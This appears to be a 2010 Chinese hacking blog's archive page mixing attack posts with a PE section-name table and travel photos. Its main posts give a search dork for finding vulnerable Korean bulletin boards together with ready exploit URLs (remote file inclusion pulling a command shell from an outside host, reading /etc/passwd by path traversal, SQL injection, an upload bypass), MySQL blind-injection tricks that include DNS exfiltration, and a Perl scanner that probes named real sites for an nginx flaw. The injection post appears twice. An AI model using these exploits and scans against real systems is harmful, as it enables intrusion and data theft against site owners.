墓静而思绪,人静则心死! 注册 | 登陆
浏览模式: 标准 | 列表2010年06月的文章

拿韩国站的时候,要关注一下这个东东

拿韩国站的时候,要关注一下这个东东

Google Dork: inurl:bbs_sun/board.php

board.php文件内容如下:

————————–
<?
if(!$admin) $pgUp .= “../”;
else if($admin==’N') $pgUp .= “”;

include $pgUp.”inc/dbconn.php”;
include $pgUp.”bbs_sun/config.php”;
?>

<link href=”<?=$skinSrc?>/style.css” rel=”stylesheet” type=”text/css”>
<?
if($mode == “list”) include ($skinSrc.”/list.php”);
else if($mode == “write” || $mode == “modify” || $mode == “reply”) include ($skinSrc.”/write.php”);
else if($mode == “view”) include ($skinSrc.”/view.php”);
else if($mode == “delete” || $mode == “ment_delete”) include ($skinSrc.”/delete.php”);
?>
————————–

 

此处存在远程文件包含漏洞

EXP:

http://xxxx.kr/bbs_sun/board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?

board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?&skinSrc=http://www.0×50sec.org/cmd.txt?&cmd=id&mode=view

有的含有download.php文件,对file变量和bname变量都没有进行必要的检查,导致文件泄漏漏洞:

EXP:

http://xxxx.kr/s_board_text/download.php?file=../../../../../etc/passwd&bname=../

mode变量为view时,有的版本对number变量没有过滤导致SQL注射漏洞

mode=view&number=

mode变量为write时,有的版本对管理权限的验证存在问题可以被绕过,从而可以发布文章和上传文件。

打开一条记录,将mode=view直接改为write就可以上传了。

可能还存在其他的问题比如文件删除等,懒得看了。

Mysql另类盲注中的一些技巧

老军家的好东东.二话不说.搞来留彩!
 
很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~
一、order by 的参数注入技巧:
两种方法,思路都一样。
example. “select username,password from uc_members order by”.$_GET['oderby']
a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。
b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。
二、limit 的参数注入技巧:
a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;
b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
 
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使用procedure analyse可以获取字段名称:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 – Can’t use ORDER clause with this procedure
三、无法猜测字段时的技巧:
在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。
1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 – Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘uid’ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘username’ cannot be null
5. ……
注:5.1以上版本不适用,字段必须为非空(not null)
四、windows下利用dns解析盲注的技巧:
如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。
本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~一、order by 的参数注入技巧:两种方法,思路都一样。example. “select username,password from uc_members order by”.$_GET['oderby']a.常见的利用方法:1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));返回错误:[Err] 1242 – Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));返回正常。b.国外paper看到的方法:1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;返回错误:[Err] 1242 – Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;返回正常。二、limit 的参数注入技巧:a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7这里还有个技巧,使用procedure analyse可以获取字段名称:select * from cdb_members where uid=1 limit 1,1 procedure analyse()不过procedure analyse同样不能使用在order by之后:[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()[Err] 1386 – Can’t use ORDER clause with this procedure三、无法猜测字段时的技巧:在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)返回错误:#1241 – Operand should contain 12 column(s)2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回正常。3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误:#1048 – Column ‘uid’ cannot be null4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误:#1048 – Column ‘username’ cannot be null5. ……注:5.1以上版本不适用,字段必须为非空(not null)四、windows下利用dns解析盲注的技巧:如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost

测试软件

测试

附件: 流量刷刷器.rar (32.1 K, 下载次数:20)

特征码定位原理

特征码定位原理

» 阅读全文

Tags: 特征码, 定位原理

常见的节名(区段名)及作用表

.arch 最初的构建信息

.bss 未经初始化的数据

.crt C运行期只读数据

.data 已经初始化的数据

.debug 调试信息

.didata 延迟输入文件名表

.edata 导出文件名表

.idata 导入文件名表

.pdata 导常信息

.rdata 只读的初始化数据

.reloc 重定位表信息

.rsrc 资源

.text .exe或.dll文件的可执行代码

.tls 线程的本地存储器

福州至温州

为了一个项目,我碾转了四个城市

大小: 445.26 K
尺寸: 500 x 375
浏览: 2 次
点击打开新窗口浏览全图

福州至温州动车组上某黑

大小: 334.72 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

动车上的长腿列车MM

大小: 467.05 K
尺寸: 500 x 375
浏览: 1 次
点击打开新窗口浏览全图

X庭大酒店房间内无聊的和某2B的渗透工作

大小: 471.47 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

看完三国再工作

大小: 412.92 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

X市机场拉一下TX背影

大小: 298.9 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

飞机上无聊的新闻

大小: 462.3 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

吃点点心!

大小: 416.27 K
尺寸: 500 x 375
浏览: 0 次
点击打开新窗口浏览全图

到达省会!

 

 

 

 

 

Tags: 福州至温州

Bug&Exp → Nginx-scan Perl扫描器

Bug&Exp Nginx-scan Perl扫描器


#来源1: http://www.80sec.com/nginx-securit.html
#来源2:  http://www.1141643.com
use LWP;
use LWP::ConnCache;
my $browser = LWP::UserAgent->new;
$browser->timeout( 15 );
my $conncache = LWP::ConnCache->new; 
$browser->conn_cache($conncache);

#先用列表吧,没有用记事本保存列表再读再扫嘿嘿
my @bbslist1;
push @bbslist1,”http://bbs.xxx.com/robots.txt“;
push @bbslist1,”http://bbs.yyy.com/robots.txt” ;
push @bbslist1,’http://bbs.pctutu.com/robots.txt’;
push @bbslist1,’http://bbs.yahoo.cn/robots.txt’;

#Server: nginx/0.8.13
#Content-Type: text/html

print “\t\tNginx漏洞扫描程序 \n\n”;
foreach my $url (@bbslist1){
  print “目前正在扫描:$url\n”;
 my $response= $browser->get( $url);
 $response->is_success or say(“Failed to get ‘$url’:\n”, $response->status_line);
 my $servertype = $response->server;
  print “$servertype\n”;
 if ($servertype=~/nginx/){
  my $typeold=$response->content_type;
  print “$typeold\n”;
  my $url2=$url.’/xysky.php’;
  my $response2 = $browser->get( $url2);
  $response2->is_success or say(“Failed to get ‘$url2′:\n”, $response->status_line);
  my $typenew=$response2->content_type;
  print “$typenew\n”;
  if ($typeold eq $typenew){
    print “站点 $url 暂没有发现漏洞.\n\n”;
  }else{
    print “站点 $url 存在该漏洞.\n\n”;
  }
 }else{
 print “站点不是nginx,Sorry!\n\n”;
 }
}

第6代机器狗评测报告

机器狗

» 阅读全文

Tags: 机器狗

Records:1012